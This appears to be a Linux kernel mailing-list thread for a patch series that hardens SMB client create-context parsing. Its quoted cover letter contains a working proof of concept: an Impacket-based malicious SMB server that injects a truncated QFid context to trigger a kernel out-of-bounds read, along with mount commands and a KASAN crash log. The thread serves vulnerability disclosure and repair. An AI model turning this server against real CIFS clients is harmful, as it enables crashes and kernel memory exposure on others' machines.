+		*epoch = 0;
+		return 0;
+	}
 
-	*epoch = le16_to_cpu(lc->lcontext.Epoch);
-	if (lc->lcontext.LeaseFlags & SMB2_LEASE_FLAG_BREAK_IN_PROGRESS_LE)
+	memcpy(&lc, (u8 *)cc + le16_to_cpu(cc->DataOffset), sizeof(lc));
+	*epoch = le16_to_cpu(lc.Epoch);
+	if (lc.LeaseFlags & SMB2_LEASE_FLAG_BREAK_IN_PROGRESS_LE)
 		return SMB2_OPLOCK_LEVEL_NOCHANGE;
 	if (lease_key)
-		memcpy(lease_key, &lc->lcontext.LeaseKey, SMB2_LEASE_KEY_SIZE);
-	return le32_to_cpu(lc->lcontext.LeaseState);
+		memcpy(lease_key, lc.LeaseKey, SMB2_LEASE_KEY_SIZE);
+	return le32_to_cpu(lc.LeaseState);
 }
 
 static unsigned int
fs/smb/client/smb2pdu.c +34 -10

93 lines not on this page · raw message

Signature · 1 line
2.43.0
author
#2 lore raw

PATCH v5 2/6 smb: client: validate POSIX create context length

In reply to Zihan Xi

parse_posix_ctxt() reads the fixed nlink, reparse_tag, and mode fields before checking that the POSIX create context contains them. A short context can pass the generic checks and still make these fixed-width reads run past its declared data.

The current in-tree smb2_open_file() path passes a NULL posix pointer, so this handler is not reached on the ordinary open path. Still require the POSIX data to cover all three fields before reading them because the helper performs those unguarded reads. Keep the existing soft-failure behavior so malformed optional metadata does not fail the open.

Fixes 69dda3059e7a ("cifs: add SMB2_open() arg to return POSIX data")
Assisted-by LLM

---
changes in v5:
- Rerolled the series after fixing a NULL dereference reported by the
kernel test robot Smatch analysis in patch 5:
https://lore.kernel.org/r/[email protected]/
- v4 Link: https://lore.kernel.org/all/[email protected]/
changes in v4:
- Keep the handler-level minimum check and preserve soft failure for
malformed optional POSIX metadata.
- v3 Link: https://lore.kernel.org/all/[email protected]/
changes in v3:
- Split the POSIX handler check into a separate patch and corrected the
parser Fixes history.
- v2 Link: https://lore.kernel.org/all/[email protected]/
changes in v2:
- Add the POSIX handler check for the three fixed fields.
- v1 Link: https://lore.kernel.org/all/eb1bc35611f91bd10a4772400b37fac26f660956.1782579150.git.xizh2024@lzu.edu.cn/

---
 fs/smb/client/smb2pdu.c | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)
fs/smb/client/smb2pdu.c +5 -2
index 7a6627400ba30..1b2ca3b2c2f87 100644
@@ -2395,12 +2395,15 @@ static void
 parse_posix_ctxt(struct create_context *cc, struct smb2_file_all_info *info,
 		 struct create_posix_rsp *posix)
 {
-	int sid_len;
 	u8 *beg = (u8 *)cc + le16_to_cpu(cc->DataOffset);
-	u8 *end = beg + le32_to_cpu(cc->DataLength);
+	u32 dlen = le32_to_cpu(cc->DataLength);
+	u8 *end = beg + dlen;
+	int sid_len;
 	u8 *sid;
 
 	memset(posix, 0, sizeof(*posix));
+	if (dlen < 3 * sizeof(__le32))
+		return;
 
 	posix->nlink = get_unaligned_le32(beg);
 	posix->reparse_tag = get_unaligned_le32(beg + 4);
Signature · 1 line
2.43.0
author
#3 lore raw

PATCH v5 3/6 smb: client: close handle after create-context parsing failure

In reply to Zihan Xi

SMB2_open() accounts a successful CREATE response as a remote open before parsing its create contexts. If smb2_parse_contexts() rejects malformed context data, SMB2_open() returns without closing the handle, leaving the server-side handle open and num_remote_opens elevated.

Close the handle after a post-CREATE context parsing failure so the error path releases the remote resource and balances the open count.

Fixes af1689a9b770 ("smb: client: fix potential OOBs in smb2_parse_contexts()")
Assisted-by LLM

---
changes in v5:
- Rerolled the series after fixing a NULL dereference reported by the
kernel test robot Smatch analysis in patch 5:
https://lore.kernel.org/r/[email protected]/
- v4 Link: https://lore.kernel.org/all/[email protected]/
changes in v4:
- Keep post-CREATE cleanup for parser failures and document the existing
best-effort close behavior.
- v3 Link: https://lore.kernel.org/all/[email protected]/
changes in v3:
- Split the POSIX handler check into a separate patch and corrected the
parser Fixes history.
- v2 Link: https://lore.kernel.org/all/[email protected]/
changes in v2:
- Add cleanup after a create-context parsing failure.
- v1 Link: https://lore.kernel.org/all/eb1bc35611f91bd10a4772400b37fac26f660956.1782579150.git.xizh2024@lzu.edu.cn/

---
 fs/smb/client/smb2pdu.c | 3 +++
 1 file changed, 3 insertions(+)
fs/smb/client/smb2pdu.c +3 -0
index 1b2ca3b2c2f87..12973f2e26b16 100644
@@ -3414,6 +3414,9 @@ SMB2_open(const unsigned int xid, struct cifs_open_parms *oparms, __le16 *path,
 
 	rc = smb2_parse_contexts(server, &rsp_iov, &oparms->fid->epoch,
 				 oparms->fid->lease_key, oplock, file_info, posix);
+	if (rc)
+		SMB2_close(xid, tcon, oparms->fid->persistent_fid,
+			   oparms->fid->volatile_fid);
 
 	trace_smb3_open_done(xid, rsp->PersistentFileId, tcon->tid, ses->Suid,
 			     oparms->create_options, oparms->desired_access,
Signature · 1 line
2.43.0
author
#4 lore raw

PATCH v5 4/6 smb: client: clean up failed cached directory opens

In reply to Zihan Xi

open_cached_dir() sends CREATE and QUERY_INFO as a compound request. If the CREATE succeeds but a later command returns an error, the function must retain the CREATE FID so common cleanup can issue SMB2_close(). It also must not treat a response error as a valid CREATE.

Validate the CREATE response before using its fields, record the FIDs, and mark the handle open before handling errors from later compound commands. Move the -EREMCHG reconnect handling before response validation so a missing response does not hide the reconnect request. Count the handle when it is marked open; confirmed close responses decrement the counter, while existing close retry behavior remains best effort on transport failures.

Fixes b0f6df737a1c ("cifs: cache FILE_ALL_INFO for the shared root handle")
Assisted-by LLM

---
changes in v5:
- Rerolled the series after fixing a NULL dereference reported by the
kernel test robot Smatch analysis in patch 5:
https://lore.kernel.org/r/[email protected]/
- v4 Link: https://lore.kernel.org/all/[email protected]/
changes in v4:
- Validate CREATE status and FIDs before marking the cached-directory handle
open, preserve reconnect handling, and balance cleanup accounting.
- Keep the cached-directory Fixes attribution at b0f6df737a1c.
- v3 Link: https://lore.kernel.org/all/[email protected]/
changes in v3:
- Split the POSIX handler check into a separate patch and corrected the
parser Fixes history.
- v2 Link: https://lore.kernel.org/all/[email protected]/
changes in v2:
- Add cached-directory cleanup for failed compound opens.
- v1 Link: https://lore.kernel.org/all/eb1bc35611f91bd10a4772400b37fac26f660956.1782579150.git.xizh2024@lzu.edu.cn/

---
 fs/smb/client/cached_dir.c | 32 ++++++++++++++++++++++----------
 1 file changed, 22 insertions(+), 10 deletions(-)
fs/smb/client/cached_dir.c +22 -10
index 88d5e9a32f28b..647fa26da4d24 100644
@@ -8,6 +8,7 @@
 #include <linux/namei.h>
 #include "cifsglob.h"
 #include "cifsproto.h"
+#include "../common/smb2status.h"
 #include "cifs_debug.h"
 #include "smb2proto.h"
 #include "cached_dir.h"
@@ -323,25 +324,37 @@ int open_cached_dir(unsigned int xid, struct cifs_tcon *tcon,
 	rc = compound_send_recv(xid, ses, server,
 				flags, 2, rqst,
 				resp_buftype, rsp_iov);
-	if (rc) {
-		if (rc == -EREMCHG) {
-			tcon->need_reconnect = true;
-			pr_warn_once("server share %s deleted\n",
-				     tcon->tree_name);
-		}
-		goto oshr_free;
+	if (rc == -EREMCHG) {
+		tcon->need_reconnect = true;
+		pr_warn_once("server share %s deleted\n",
+			     tcon->tree_name);
 	}
-	cfid->is_open = true;
 
-	spin_lock(&cfids->cfid_list_lock);
+	if (!rsp_iov[0].iov_base || rsp_iov[0].iov_len < sizeof(*o_rsp)) {
+		if (!rc)
+			rc = -EIO;
+		goto oshr_free;
+	}
 
 	o_rsp = (struct smb2_create_rsp *)rsp_iov[0].iov_base;
+	if (o_rsp->hdr.Status != STATUS_SUCCESS) {
+		if (!rc)
+			rc = -EIO;
+		goto oshr_free;
+	}
+
 	oparms.fid->persistent_fid = o_rsp->PersistentFileId;
 	oparms.fid->volatile_fid = o_rsp->VolatileFileId;
 #ifdef CONFIG_CIFS_DEBUG2
 	oparms.fid->mid = le64_to_cpu(o_rsp->hdr.MessageId);
 #endif /* CIFS_DEBUG2 */
+	cfid->is_open = true;
+	atomic_inc(&tcon->num_remote_opens);
 
+	if (rc)
+		goto oshr_free;
+
+	spin_lock(&cfids->cfid_list_lock);
 
 	if (o_rsp->OplockLevel != SMB2_OPLOCK_LEVEL_LEASE) {
 		spin_unlock(&cfids->cfid_list_lock);
@@ -408,7 +421,6 @@ int open_cached_dir(unsigned int xid, struct cifs_tcon *tcon,
 		close_cached_dir(cfid);
 	} else {
 		*ret_cfid = cfid;
-		atomic_inc(&tcon->num_remote_opens);
 	}
 	kfree(utf16_path);
 
Signature · 1 line
2.43.0
author
#5 lore raw

PATCH v5 5/6 smb: client: close completed creates on compound wait errors

In reply to Zihan Xi

compound_send_recv() waits for responses in order. If a later wait is interrupted, or if a later MID fails during response synchronization, an earlier CREATE may already have opened a remote handle. The earlier mid is then released without invoking handle_cancelled_mid(), leaving the remote handle open because no FID was copied to the caller.

Mark completed earlier mids as cancelled when a compound wait or MID synchronization aborts. Keep their response buffers attached while the MIDs are synchronized, and transfer them only after synchronization of the processed responses, so the release path can inspect successful CREATE responses and queue SMB2_close() after a later failure. Account for a remote open only after the close work is allocated and before it is queued, since the caller has not yet updated num_remote_opens. Mark the create+close compound used by smb2_unlink() so it is not closed again. Non-CREATE responses and compounds that already include a close keep their existing behavior.

Fixes e0bba0b85481 ("cifs: add compound_send_recv()")
Assisted-by LLM

---
changes in v5:
- Guard the final preauth-hash update when resp_iov is NULL, fixing the
NULL dereference reported by the kernel test robot Smatch analysis:
https://lore.kernel.org/r/[email protected]/
- v4 Link: https://lore.kernel.org/all/[email protected]/
changes in v4:
- Keep response buffers attached while MIDs are synchronized so a later
MID failure can trigger cancelled-mid cleanup for earlier CREATEs.
- Cover MID synchronization and unready-state failures, and defer
num_remote_opens accounting until close work allocation succeeds.
- Mark smb2_unlink()'s create+close compound to avoid duplicate cleanup.
- Correct the Fixes tag to e0bba0b85481.
- v3 Link: https://lore.kernel.org/all/[email protected]/
changes in v3:
- Add cleanup for completed CREATEs when a compound wait is interrupted.
- v2 Link: https://lore.kernel.org/all/[email protected]/
changes in v2:
- No counterpart in v2.
- v1 Link: https://lore.kernel.org/all/eb1bc35611f91bd10a4772400b37fac26f660956.1782579150.git.xizh2024@lzu.edu.cn/

---
 fs/smb/client/smb2inode.c |  2 +-
 fs/smb/client/smb2misc.c  |  9 ++++--
 fs/smb/client/transport.c | 67 +++++++++++++++++++++++++++++++--------
 3 files changed, 61 insertions(+), 17 deletions(-)
fs/smb/client/smb2inode.c +1 -1
index 213bc298cdf22..6971496dfe8c2 100644
@@ -1104,7 +1104,7 @@ smb2_unlink(const unsigned int xid, struct cifs_tcon *tcon, const char *name,
 	struct kvec close_iov;
 	int resp_buftype[2];
 	struct cifs_fid fid;
-	int flags = 0;
+	int flags = CIFS_CP_CREATE_CLOSE_OP;
 	__u8 oplock;
 	int rc;
 
fs/smb/client/smb2misc.c +6 -3
index 9068175e57cd0..596388acb31e7 100644
@@ -821,7 +821,8 @@ smb2_cancelled_close_fid(struct work_struct *work)
  */
 static int
 __smb2_handle_cancelled_cmd(struct cifs_tcon *tcon, __u16 cmd, __u64 mid,
-			    __u64 persistent_fid, __u64 volatile_fid)
+			    __u64 persistent_fid, __u64 volatile_fid,
+			    bool account_remote_open)
 {
 	struct close_cancelled_open *cancelled;
 
@@ -835,6 +836,8 @@ __smb2_handle_cancelled_cmd(struct cifs_tcon *tcon, __u16 cmd, __u64 mid,
 	cancelled->cmd = cmd;
 	cancelled->mid = mid;
 	INIT_WORK(&cancelled->work, smb2_cancelled_close_fid);
+	if (account_remote_open)
+		atomic_inc(&tcon->num_remote_opens);
 	WARN_ON(queue_work(cifsiod_wq, &cancelled->work) == false);
 
 	return 0;
@@ -871,7 +874,7 @@ smb2_handle_cancelled_close(struct cifs_tcon *tcon, __u64 persistent_fid,
 	spin_unlock(&tcon->tc_lock);
 
 	rc = __smb2_handle_cancelled_cmd(tcon, SMB2_CLOSE_HE, 0,
-					 persistent_fid, volatile_fid);
+					 persistent_fid, volatile_fid, false);
 	if (rc)
 		cifs_put_tcon(tcon, netfs_trace_tcon_ref_put_cancelled_close);
 
@@ -899,7 +902,7 @@ smb2_handle_cancelled_mid(struct mid_q_entry *mid, struct TCP_Server_Info *serve
 					 le16_to_cpu(hdr->Command),
 					 le64_to_cpu(hdr->MessageId),
 					 rsp->PersistentFileId,
-					 rsp->VolatileFileId);
+					 rsp->VolatileFileId, true);
 	if (rc)
 		cifs_put_tcon(tcon, netfs_trace_tcon_ref_put_cancelled_mid);
 
fs/smb/client/transport.c +54 -13

112 lines not on this page · raw message

Signature · 1 line
2.43.0
author
#6 lore raw

PATCH v5 6/6 smb: client: preserve create-context parsing errors

In reply to Zihan Xi

smb2_compound_op() saves the result from compound_send_recv() in tmp_rc. For SMB2_OP_OPEN_QUERY it then parses the CREATE contexts, but the final assignment of rc from tmp_rc discards a parsing error. A malformed create-context response can therefore be reported as successful to smb2_query_path_info().

Keep a create-context parsing error in tmp_rc so it survives per-command response processing and is returned to the caller.

Fixes b07687edee99 ("cifs: Improve SMB2+ stat() to work also without FILE_READ_ATTRIBUTES")
Assisted-by LLM

---
changes in v5:
- Rerolled the series after fixing a NULL dereference reported by the
kernel test robot Smatch analysis in patch 5:
https://lore.kernel.org/r/[email protected]/
- v4 Link: https://lore.kernel.org/all/[email protected]/
changes in v4:
- Keep a create-context parsing error in tmp_rc while processing later
compound responses.
- v3 Link: https://lore.kernel.org/all/[email protected]/
changes in v3:
- No counterpart; this patch is added in the v4 reroll.
- v2 Link: https://lore.kernel.org/all/[email protected]/
changes in v2:
- No counterpart in v2.
- v1 Link: https://lore.kernel.org/all/eb1bc35611f91bd10a4772400b37fac26f660956.1782579150.git.xizh2024@lzu.edu.cn/

---
 fs/smb/client/smb2inode.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)
fs/smb/client/smb2inode.c +3 -1
index 6971496dfe8c2..cedad9daeb220 100644
@@ -582,8 +582,10 @@ static int smb2_compound_op(const unsigned int xid, struct cifs_tcon *tcon,
 		/* smb2_parse_contexts() fills idata->fi.IndexNumber */
 		rc = smb2_parse_contexts(server, &rsp_iov[0], &oparms->fid->epoch,
 					 oparms->fid->lease_key, &oplock, &idata->fi, NULL);
-		if (rc)
+		if (rc) {
 			cifs_dbg(VFS, "rc: %d parsing context of compound op\n", rc);
+			tmp_rc = rc;
+		}
 	}
 
 	for (i = 0; i < num_cmds; i++) {
Signature · 1 line
2.43.0
author
#7 lore raw
In reply to Zihan Xi
Quoted 479 lines · Zihan Xi

Hi Linux kernel maintainers,

We found and validated an issue in fs/smb/client/smb2pdu.c. A malicious SMB server can send a malformed SMB2 CREATE response to a CIFS client and trigger an out-of-bounds read. We validated this with an Impacket server on the QEMU host and a root CIFS client in the guest; CIFS does not set FS_USERNS_MOUNT, so the mount must run as root. For valid SMB responses, the series preserves existing request handling. No impact was observed in the tested CIFS mount/read path; a full filesystem regression suite was not run.

We will provide detailed information about the bug in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

smb2_parse_contexts() validates the complete create-context area but does not limit each context record to its Next field before dispatching it. A malformed chain can therefore allow a handler to read bytes beyond the current context. The QFid handler also cast the context to a full response structure without verifying that DataLength covered DiskFileId, so a truncated QFid context could read past the response allocation. A non-terminal Next that does not leave a complete following context header is rejected as malformed.

The parser rejects NameOffset and DataOffset values before the context header, bounds the name range by the current record with checked arithmetic, and dispatches known handlers only when DataLength is non-zero.

The SMB2/SMB3 lease parsers also read LeaseState and LeaseFlags at canonical offsets rather than from DataOffset. Patch 1 limits each record to Next, reads QFid data only when its payload covers DiskFileId, and parses lease data from DataOffset with the exact v1/v2 lease payload sizes. A size mismatch skips lease parsing without failing the open. These sizes match the fixed payload sizes used by the CIFS request builders and ksmbd; a future extension must update the parser explicitly.

parse_posix_ctxt() reads nlink, reparse_tag, and mode before checking that the POSIX data contains them. The in-tree smb2_open_file() path passes a NULL posix pointer, so ordinary opens do not reach this handler. Patch 2 still checks the handler's minimum data length and preserves soft failure for malformed optional metadata.

Tracing the parser callers and compound error paths through cleanup and return-value handling also exposed the additional independent issues fixed by patches 3 through 6.

After a successful CREATE, SMB2_open() increments num_remote_opens before parsing its contexts. Patch 3 calls SMB2_close() after a parsing failure. SMB2_close() decrements num_remote_opens only after a confirmed successful close response. If a close is interrupted or transport fails, the existing best-effort behavior retains conservative accounting when the remote result is unknown.

open_cached_dir() sends CREATE and QUERY_INFO as a compound request. Patch 4 validates the CREATE response before using its fields, records the CREATE FIDs, marks the handle open, and increments the remote-open count before processing later-command errors. It also handles -EREMCHG before response validation, so a missing response does not hide the reconnect request. Patch 5 marks earlier completed mids as cancelled when a later compound wait is interrupted or MID synchronization or state validation fails. It keeps their response buffers attached until synchronization is complete, so the existing cancelled-mid cleanup can inspect each successful CREATE and queue SMB2_close(). The remote-open count is incremented only after close work allocation succeeds and before queueing it, so an OOM does not leave an unmatched count. It marks smb2_unlink()'s create+close compound so it is not closed again. Non-CREATE responses and compounds with a close keep their existing behavior.

Patch 6 preserves a create-context parsing error in the SMB2_OP_OPEN_QUERY compound path while later responses are processed.

The series keeps separate Fixes tags for the independent root causes, with each tag pointing to the earliest commit that introduced its root cause.

The parser changes overlap with Frank Sorenson's related bounds-checking patch for smb2_parse_contexts():
https://lore.kernel.org/all/[email protected]/
This series incorporates the NameOffset, Next, and zero-data dispatch checks while retaining the stricter per-record successor-header validation and the handler-specific payload checks.

The reproducer uses an Impacket SMB server that modifies the SMB2 CREATE response. packetdrill is not used because it cannot implement the required stateful SMB server or rewrite this response.

Reproducer:

From the PoC directory:

gcc -O2 -static -o poc poc.c
chmod +x poc.sh
./poc

The wrapper starts the Impacket server on the host at tcp/4445. The validation uses QEMU user-mode networking (-netdev user), so no additional veth, network namespace, or TCP proxy is needed. Configure the guest interface and route as follows:

ip link set eth0 up
ip addr add 10.0.2.15/24 dev eth0
ip route add default via 10.0.2.2

Then, as root in the guest, mount the share and read the trigger file:

mkdir -p /mnt/test
mount -t cifs //10.0.2.2/SHARE /mnt/test \
-o user=,password=,vers=2.0,sec=ntlmssp,port=4445,noperm,soft
cat /mnt/test/probe >/dev/null

The C wrapper execs ./poc.sh, so poc.sh must retain its executable bit (or be made executable with chmod +x as shown). On first use, the wrapper creates a virtual environment and installs Impacket 0.13.1. The initial setup requires network access to the configured package index; an existing virtual environment needs no installation.
The guest-side mount is shown separately because CIFS does not set FS_USERNS_MOUNT; the validated mount/read commands run as root in the guest.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. ------BEGIN poc.c------
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)

{
        (void)argc;
        argv[0] = "./poc.sh";
        execv(argv[0], argv);
        perror("execv ./poc.sh");
        return 127;
}

------END poc.c--------

------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail

SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd) VENV_DIR="$SCRIPT_DIR/.venv-impacket"

if [[ ! -x "$VENV_DIR/bin/python" ]]; then
python3 -m venv "$VENV_DIR"
"$VENV_DIR/bin/pip" install impacket==0.13.1
fi

exec "$VENV_DIR/bin/python" "$SCRIPT_DIR/poc.py" "$@" ------END poc.sh--------

------BEGIN poc.py------
#!/usr/bin/env python3
import logging
import signal
import struct
from pathlib import Path

from impacket import smbserver
from impacket import smb3structs as smb2
from impacket.nt_errors import STATUS_SUCCESS

PORT = 4445
SHARE_NAME = "SHARE"
TARGET_NAME = "probe"
TARGET_OFFSET = 424
CONTEXT = struct.pack("<IHHHHI4s4x", 0, 16, 4, 0, 24, 0, b"QFid") ALIGN_PAD = b"\x00" * (TARGET_OFFSET - 152)

def prepare_share(share_dir: Path) -> None:

    share_dir.mkdir(parents=True, exist_ok=True)
    (share_dir / "placeholder").touch()
    (share_dir / TARGET_NAME).write_bytes(b"x")

def main() -> None:
base_dir = Path(__file__).resolve().parent
share_dir = base_dir / "share"
prepare_share(share_dir)

logging.basicConfig(level=logging.INFO, format="%(levelname)s:%(message)s")

original = smbserver.SMB2Commands.smb2Create

def malicious_smb2_create(conn_id, smb_server, recv_packet):
req = smb2.SMB2Create(recv_packet["Data"]) raw_name = req["Buffer"][: req["NameLength"]] name = smbserver.normalize_path(raw_name.decode("utf-16le"))

commands, packets, error = original(conn_id, smb_server, recv_packet) print(f"CREATE name={name!r} err=0x{error:08x}", flush=True)

if error == STATUS_SUCCESS and name == TARGET_NAME:
resp = commands[0]
resp["CreateContextsOffset"] = TARGET_OFFSET resp["CreateContextsLength"] = len(CONTEXT)
resp["AlignPad"] = ALIGN_PAD
resp["Buffer"] = CONTEXT
print(
f"injected truncated QFid context; packet_len={64 + len(resp.getData())}", flush=True,
)

return commands, packets, error

smbserver.SMB2Commands.smb2Create = staticmethod(malicious_smb2_create)

server = smbserver.SimpleSMBServer(listenAddress="0.0.0.0", listenPort=PORT) server.setSMB2Support(True)
server.addShare(SHARE_NAME, str(share_dir), readOnly="yes") server.setLogFile("/dev/stdout")

print(f"Serving //10.0.2.2/{SHARE_NAME} on tcp/{PORT}", flush=True) print("Trigger file: probe", flush=True)

signal.signal(signal.SIGTERM, lambda _sig, _frame: (_ for _ in ()).throw(SystemExit(0))) try:
server.start()
except (KeyboardInterrupt, SystemExit):
pass

if __name__ == "__main__":

    main()

------END poc.py--------

The following excerpt is from the output of scripts/decode_stacktrace.sh when run on the unpatched baseline log. The command used was:

./scripts/decode_stacktrace.sh vmlinux source-tree < baseline.log

The excerpt below is the resulting output.
----BEGIN crash log----

[ 1344.780735] [  T11242] ==================================================================
[ 1344.780750] [  T11242] BUG: KASAN: slab-out-of-bounds in smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.780838] [  T11242] Read of size 8 at addr ff1100007e4b3180 by task cat/11242
[ 1344.780880] [  T11242] CPU: 0 UID: 0 PID: 11242 Comm: cat Not tainted 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
[ 1344.780887] [  T11242] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1344.780907] [  T11242] Call Trace:
[ 1344.780918] [  T11242]  <TASK>
[ 1344.780925] [  T11242]  dump_stack_lvl (lib/dump_stack.c:88)
[ 1344.780980] [  T11242]  print_report (mm/kasan/report.c:288 (discriminator 1) mm/kasan/report.c:376 (discriminator 1) mm/kasan/report.c:482 (discriminator 1))
[ 1344.781004] [  T11242]  ? smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.781009] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781030] [  T11242]  ? __virt_addr_valid (arch/x86/mm/physaddr.c:55)
[ 1344.781052] [  T11242]  ? smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.781057] [  T11242]  kasan_report (mm/kasan/report.c:640)
[ 1344.781065] [  T11242]  ? smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.781077] [  T11242]  smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.781085] [  T11242]  ? _raw_spin_unlock (include/asm-generic/qspinlock.h:128 (discriminator 4) include/linux/spinlock.h:205 (discriminator 4) include/linux/spinlock_api_smp.h:168 (discriminator 4) kernel/locking/spinlock.c:190 (discriminator 4))
[ 1344.781101] [  T11242]  SMB2_open (fs/smb/client/smb2pdu.c:3344)
[ 1344.781107] [  T11242]  ? cifsConvertToUTF16 (fs/smb/client/cifs_unicode.c:419 fs/smb/client/cifs_unicode.c:491)
[ 1344.781129] [  T11242]  ? __pfx_SMB2_open+0x10/0x10
[ 1344.781135] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781139] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781145] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781149] [  T11242]  ? __kmalloc_noprof (arch/x86/include/asm/atomic.h:23 include/linux/atomic/atomic-arch-fallback.h:457 include/linux/jump_label.h:248 mm/slab.h:458 mm/slub.c:4558 mm/slub.c:5392)
[ 1344.781164] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781167] [  T11242]  ? cifs_strndup_to_utf16 (fs/smb/client/cifs_unicode.c:628)
[ 1344.781184] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781206] [  T11242]  ? cifs_convert_path_to_utf16 (fs/smb/client/smb2misc.c:457)
[ 1344.781211] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781216] [  T11242]  ? __pfx_cifs_convert_path_to_utf16+0x10/0x10
[ 1344.781226] [  T11242]  ? smb2_open_file (fs/smb/client/smb2file.c:184)
[ 1344.781231] [  T11242]  smb2_open_file (fs/smb/client/smb2file.c:184)
[ 1344.781242] [  T11242]  ? __pfx_smb2_open_file+0x10/0x10
[ 1344.781247] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781250] [  T11242]  ? __lock_acquire+0x45c/0x25f0
[ 1344.781278] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781291] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781295] [  T11242]  ? __asan_memcpy (mm/kasan/shadow.c:105 (discriminator 1))
[ 1344.781316] [  T11242]  cifs_open (fs/smb/client/file.c:1155 (discriminator 2))
[ 1344.781354] [  T11242]  ? __pfx_cifs_open+0x10/0x10
[ 1344.781359] [  T11242]  ? do_sys_openat2 (include/linux/file.h:164 fs/open.c:1364)
[ 1344.781373] [  T11242]  ? do_syscall_64 (include/linux/irq-entry-common.h:207 include/linux/irq-entry-common.h:238 include/linux/entry-common.h:328 arch/x86/entry/syscall_64.c:100)
[ 1344.781409] [  T11242]  ? kasan_quarantine_put (arch/x86/include/asm/irqflags.h:158 (discriminator 1) mm/kasan/quarantine.c:234 (discriminator 1))
[ 1344.781413] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781417] [  T11242]  ? lockdep_hardirqs_on+0x7b/0x110
[ 1344.781463] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781469] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781485] [  T11242]  ? bpf_trampoline_6442634119+0x9f/0xed
[ 1344.781503] [  T11242]  ? do_dentry_open (fs/open.c:915)
[ 1344.781510] [  T11242]  do_dentry_open (fs/open.c:915)
[ 1344.781515] [  T11242]  ? __pfx_cifs_open+0x10/0x10
[ 1344.781521] [  T11242]  ? cifs_permission (fs/smb/client/cifsfs.c:432 (discriminator 1))
[ 1344.781537] [  T11242]  vfs_open (fs/open.c:1098)
[ 1344.781541] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781549] [  T11242]  path_openat (fs/namei.c:5179)
[ 1344.781572] [  T11242]  ? __pfx_path_openat+0x10/0x10
[ 1344.781581] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781584] [  T11242]  ? __lock_acquire+0x45c/0x25f0
[ 1344.781594] [  T11242]  do_file_open (fs/namei.c:4901)
[ 1344.781601] [  T11242]  ? __pfx_do_file_open+0x10/0x10
[ 1344.781606] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781627] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781631] [  T11242]  ? alloc_fd (fs/file.c:1297)
[ 1344.781651] [  T11242]  ? do_getname+0x6b/0x2d0
[ 1344.781658] [  T11242]  do_sys_openat2 (include/linux/file.h:164 fs/open.c:1364)
[ 1344.781663] [  T11242]  ? __pfx_do_sys_openat2+0x10/0x10
[ 1344.781666] [  T11242]  ? __pfx___do_sys_newfstat+0x10/0x10
[ 1344.781683] [  T11242]  __x64_sys_openat (fs/open.c:1389)
[ 1344.781691] [  T11242]  ? __pfx___x64_sys_openat+0x10/0x10
[ 1344.781698] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781702] [  T11242]  ? rcu_is_watching (include/linux/context_tracking.h:128 kernel/rcu/tree.c:752)
[ 1344.781713] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781717] [  T11242]  ? do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 1344.781723] [  T11242]  do_syscall_64 (include/linux/irq-entry-common.h:207 include/linux/irq-entry-common.h:238 include/linux/entry-common.h:328 arch/x86/entry/syscall_64.c:100)
[ 1344.781728] [  T11242]  ? irqentry_exit (include/linux/irq-entry-common.h:507 include/linux/irq-entry-common.h:550 kernel/entry/common.c:164)
[ 1344.781735] [  T11242]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:150)
[ 1344.781740] [  T11242] RIP: 0033:0x7fc594192687
[ 1344.781757] [  T11242] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
All code
========
   0:   48 89 fa                mov    %rdi,%rdx
   3:   4c 89 df                mov    %r11,%rdi
